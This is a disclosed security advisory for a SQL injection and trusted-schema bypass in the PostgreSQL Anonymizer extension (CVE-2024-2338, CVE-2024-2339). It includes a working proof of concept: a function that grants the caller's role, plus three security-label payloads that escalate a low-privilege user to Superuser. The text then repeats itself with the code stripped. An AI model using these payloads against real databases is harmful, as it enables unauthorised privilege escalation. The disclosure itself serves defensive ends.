Summary
Postgresql Anonymizer enables users to set security labels on objects to mask specified properties. There is a flaw that allows complex expressions to be provided as a value. This expression is then later used as it to create the masked views leading to SQL Injection. If dynamic masking this will lead to privilege escalation to Superuser after the label is created.
The feature restrict_to_trusted_schemas is provided to only allow mask functions from a set of explicitly trusted schemas. There are issues with the implementation that enable a malicious user to bypass these restrictions having their own function execute when the masked view is used.
Severity
A user who is able to create security labels in the masked schema can elevate to Superuser when dynamic masking is enabled.
Proof of Concept
The setup has the Superuser postgres and a non privileged user test. The user test should have privileges to create objects in the source schema.
postgresql.conf has the following additions
shared_preload_libraries = 'anon'
anon.maskschema = mask
anon.sourceschema = public
As Superuser create the extension and enable dynamic masking
CREATE EXTENSION anon CASCADE;
SELECT anon.start_dynamic_masking();
As the user test
executes the following
CREATE OR REPLACE FUNCTION public.elevate()
RETURNS void
AS
$$
BEGIN
BEGIN
EXECUTE FORMAT('GRANT %I TO test', CURRENT_USER);
EXCEPTION WHEN OTHERS THEN
RAISE NOTICE '%', SQLERRM;
END;
END;
$$ LANGUAGE plpgsql;
CREATE TABLE employee (
ssn TEXT
);
Below are different payloads to bypass the restriction. All will have the effect that when the resulting view is used that the user function in an untrusted schema will execute.
For nested functions PoC
SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)';
INSERT INTO employee VALUES ('a');
For MASKED WITH VALUE
PoC
SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH VALUE public.elevate()::text';
INSERT INTO employee VALUES ('a');
For SELECT Rule PoC
SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH VALUE NULL';
CREATE RULE "_RETURN" AS
ON SELECT TO public.employee
DO INSTEAD
SELECT public.elevate()::text as ssn;
After creating the table SELECT from the resulting masked view and check the user permissions. I run the query as the user postgres
but this could be any user that has access to the view.
Select * from mask.employee;
\du test
List of roles
Role name | Attributes | Member of
-----------+------------+------------
test | | {postgres}
Further Analysis
The option anon.restrict_to_trusted_schemas
states that enabling it requires masking filters must be in a trusted schema.
Nested Functions
The function anon_get_function_schema checks the function by running the value through the parser and getting the function call and returning the schema. This does not consider nested functions. A user can simply wrap their function around one in trusted schemas and have it be part of the resulting view.
SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)';
\dS+ mask.employee
View "mask.employee"
Column | Type | Collation | Nullable | Default | Storage | Description
--------+---------+-----------+----------+---------+----------+-------------
id | integer | | | | plain |
ssn | text | | | | extended |
View definition:
SELECT employee.id,
upper(elevate()::text) AS ssn
FROM employee;
Masked With Value
The restrictions can also be bypassed by creating a MASKED WITH VALUE
label instead of MASKED WITH FUNCTION.
The trigger trg_check_trusted_schemas that calls anon_get_function_schema
passes the value of masking_function
, but MASKED WITH VALUE
is stored in masking_value
leading the check to be bypassed.
SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH VALUE public.elevate()::text';
\dS+ mask.employee
View "mask.employee"
Column | Type | Collation | Nullable | Default | Storage | Description
--------+---------+-----------+----------+---------+----------+-------------
id | integer | | | | plain |
ssn | text | | | | extended |
View definition:
SELECT employee.id,
elevate()::text AS ssn
FROM employee;
SELECT Rules
A user is able to add a SELECT Rule to a table transforming it into a view (this isn’t supported in postgresql-16). After creating the table and masked view a user is able to alter the table into a view without issue. The result is when the masked view is used the functions in the new underlying view are executed.
There are two CVEs for this issue, CVE-2024-2338 and CVE-2024-2339 both of which were fixed in v1.3.
Timeline
Date reported: 02/06/2024
Date fixed:
Date disclosed: 05/09/2024
Summary
Postgresql Anonymizer enables users to set security labels on objects to mask specified properties. There is a flaw that allows complex expressions to be provided as a value. This expression is then later used as it to create the masked views leading to SQL Injection. If dynamic masking this will lead to privilege escalation to Superuser after the label is created.
The feature restrict_to_trusted_schemas is provided to only allow mask functions from a set of explicitly trusted schemas. There are issues with the implementation that enable a malicious user to bypass these restrictions having their own function execute when the masked view is used.
Severity
A user who is able to create security labels in the masked schema can elevate to Superuser when dynamic masking is enabled.
Proof of Concept
The setup has the Superuser postgres and a non privileged user test. The user test should have privileges to create objects in the source schema.
postgresql.conf has the following additions
As Superuser create the extension and enable dynamic masking
As the user
test
executes the followingBelow are different payloads to bypass the restriction. All will have the effect that when the resulting view is used that the user function in an untrusted schema will execute.
For nested functions PoC
For
MASKED WITH VALUE
PoCFor SELECT Rule PoC
After creating the table SELECT from the resulting masked view and check the user permissions. I run the query as the user
postgres
but this could be any user that has access to the view.Further Analysis
The option
anon.restrict_to_trusted_schemas
states that enabling it requires masking filters must be in a trusted schema.Nested Functions
The function anon_get_function_schema checks the function by running the value through the parser and getting the function call and returning the schema. This does not consider nested functions. A user can simply wrap their function around one in trusted schemas and have it be part of the resulting view.
Masked With Value
The restrictions can also be bypassed by creating a
MASKED WITH VALUE
label instead ofMASKED WITH FUNCTION.
The trigger trg_check_trusted_schemas that calls
anon_get_function_schema
passes the value ofmasking_function
, butMASKED WITH VALUE
is stored inmasking_value
leading the check to be bypassed.SELECT Rules
A user is able to add a SELECT Rule to a table transforming it into a view (this isn’t supported in postgresql-16). After creating the table and masked view a user is able to alter the table into a view without issue. The result is when the masked view is used the functions in the new underlying view are executed.
There are two CVEs for this issue, CVE-2024-2338 and CVE-2024-2339 both of which were fixed in v1.3.
Timeline
Date reported: 02/06/2024
Date fixed:
Date disclosed: 05/09/2024